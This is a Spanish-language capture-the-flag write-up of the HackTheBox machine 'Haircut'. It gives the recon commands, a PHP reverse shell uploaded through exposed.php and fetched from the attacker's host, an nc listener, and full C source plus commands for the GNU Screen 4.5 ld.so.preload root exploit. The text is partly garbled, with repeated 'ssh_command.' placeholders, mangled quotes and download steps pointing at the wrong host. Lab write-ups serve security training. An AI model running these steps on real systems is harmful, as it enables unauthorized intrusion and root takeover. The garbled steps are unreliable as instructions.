Haircut

Haircut


HTB Linux

nmap -A -p- -oA output 10.129.95.174 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA haircut 10.129.95.174

nmap -sU -O -p- -oA haircut-udp 10.129.95.174

nikto -h 10.129.95.174:80

ssh_command.

ssh_command.

nmap —script http-enum -p80 10.129.95.174 -oN webScan -Pn

ssh_command.

wfuzz -c hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt “http://10.129.95.174/FUZZ

Encontramos el directorio /uploads

ssh_command.

Creamos un archivo extensions.txt con php,html y txt

wfuzz -c hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -w extensions.txt http://10.129.95.174/FUZZ.FUZ2Z

ssh_command.

http://10.129.95.174/exposed.php

ssh_command.

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php cu3rv0x.php

Cambiamos el puerto y la ip

python3 -m http.server 80

http://10.10.14.125/cu3rv0x.php -o uploads/cuerv0x.php

ssh_command.

nc -lvnp 443

ssh_command.

searchsploit screen 4.5

searchsploit -m 41154

cd /

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

ssh_command.

#include <stdio.h> #include <sys/types.h> #include <unistd.h> attribute ((constructor)) void dropshell(void){ chown(“/tmp/rootshell”, 0, 0); chmod(“/tmp/rootshell”, 04755); unlink(“/etc/ld.so.preload”); printf(”[+] done!\n”); } ssh_command.

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

Creamos un archivo rootshell.c

#include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp(“/bin/sh”, NULL, NULL); }

ssh_command.

gcc -o /tmp/rootshell /tmp/rootshell.c

ssh_command.

cd /tmp

python3 -m http.server 8888

wget http://10.129.95.174/rootshell

wget http://10.129.95.174/libhax.so

ssh_command.

cd /etc umask 000 screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so” id /tmp/rootshell

ssh_command.

© 2025 Cu3rv0x